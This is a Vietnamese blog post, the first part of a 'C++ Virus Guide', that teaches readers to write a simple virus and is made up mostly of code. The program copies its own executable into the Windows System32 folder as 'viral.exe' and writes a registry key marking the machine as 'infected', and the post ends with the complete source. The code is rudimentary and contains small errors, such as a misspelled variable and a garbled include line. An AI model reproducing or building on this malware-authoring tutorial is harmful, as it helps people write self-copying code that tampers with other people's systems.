Chủ Nhật, 3 tháng 11, 2013

C++ Virus Guide :: Part 1

Khi tôi bắt đầu học về virus, tôi tìm thấy rất nhiều hướng dẫn về virus trong ASM. Loại ngôn ngữ này rất thịnh hành với những người viết virus, nhưng tôi thích sử dụng C++ vì nó đơn giản hơn. Trong phần đầu tiên này tôi sẽ hướng dẫn copy một chương trình virus đơn giản vào trong một thư mục và ghi nó trong registry để giúp cho bạn hiểu cách virus lây nhiễm vào máy tính của chúng ta.

#include windows.h
#include string.h

Đây là 2 header files thường được sử dụng nhiều trong virus. "string.h" được cần đến khi ta sử dụng hàm strcat.

Tiếp theo chúng ta cần set một biến được cần tới. Biến này sẽ lưu đường dẫn tới thư mục trên windows (C:\Windows), số kí tự tối đa có thể lên tới 256 kí tự và nó có thể được viết như sau

char windir[MAX_PATH];

Bây giờ chúng ta cần bắt đầu hàm main, đây sẽ là nơi bạn lưu phần còn lại của code, nó là một entry-point function được gọi bởi hệ thống như là entry point khởi đầu của các ứng dụng dựa trên Windows.

int APIENTRY WinMain(HINSTANCE hInstance,
                              HINSTANCE hPrevInstance,
                              LPSTR lpCmdLine,
                              
int nCmdShow)

Đây là hàm mở chuẩn (standard opening function) cho bất cứ ứng dụng Windows nào như

Private main() in VB
.START in ASM
void main() in C
begin in pascal

và tương tự 

Ok bây giờ chúng ta cần set thêm biến trong hàm main. Biến thứ nhất sẽ lưu pathname của biến tiếp theo mà sẽ lưu vị trí của virus của bạn, biến khác sẽ được sử dụng cho handle của key, những gì sẽ được enter vào trong registry.

char pathname[256];
HKEY hKey;

Right, ok. Chúng ta bắt đầu code. Như tôi đã nói từ trước chương trình này sẽ lưu pathname của thư mục Windows và lưu nó vào trong biến 'windir'. Để có được windows path chúng ta có thể sử dụng dòng code phía dưới những gì sẽ lưu nó vào biến windir

GetWindowsDirectory(windr, sizeof(windr))

Nào bây giờ chúng ta đã có được pathname của windows directory, điều tiếp theo ta cần làm là tìm tên và đường dẫn của chính chương trình đó 

HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

Hiện tại chúng ta đã có windows directory, tên của chương trình, và đường dẫn của nó. Những gì chúng ta cần làm bây giờ là chuẩn bị một target path những gì sẽ là C:\Windows\System32\ là những gì chúng ta có thể thấy trong biến windir và chuẩn bị cho phần còn lại thông qua việc thêm vào cuối , thêm vào những gì bạn muốn, đó là tên của chương trình thực thi, đối với trường hợp của tôi là viral.exe.

Sử dụng hàm CopyFile, nó sẽ copy pathname của chính chương trình đến nơi bạn muốn "windir"

strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);


Sử dụng Registry

Tôi sẽ chỉ hướng dẫn bạn một cách đơn giản để sử dụng registry
Thứ nhất là set bất cứ giá trị nào bạn muốn. Nó sẽ lưu giá trị trong "reg" lên tới 10 kí tự, nếu bạn không thay đổi nó.

unsigned char reg[10] = "infected";

Bây giờ thì tạo một key
RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);

và set giá trị cho nó
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));

đóng key chúng ta đã mở và kết thúc WinMain function
RegCloseKey(hKey);



Complete Code
#include windows.h#include string.h
char windir[MAX_PATH];
int APIENTRY WinMain(HINSTANCE hInstance,
                              HINSTANCE hPrevInstance,
                              LPSTR lpCmdLine,
                              
int nCmdShow)
{

char pathname[256];
HKEY hKey;

GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);

unsigned char reg[10] = "infected";
RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,
sizeof(reg));
RegCloseKey(hKey);

}

Không có nhận xét nào:

Đăng nhận xét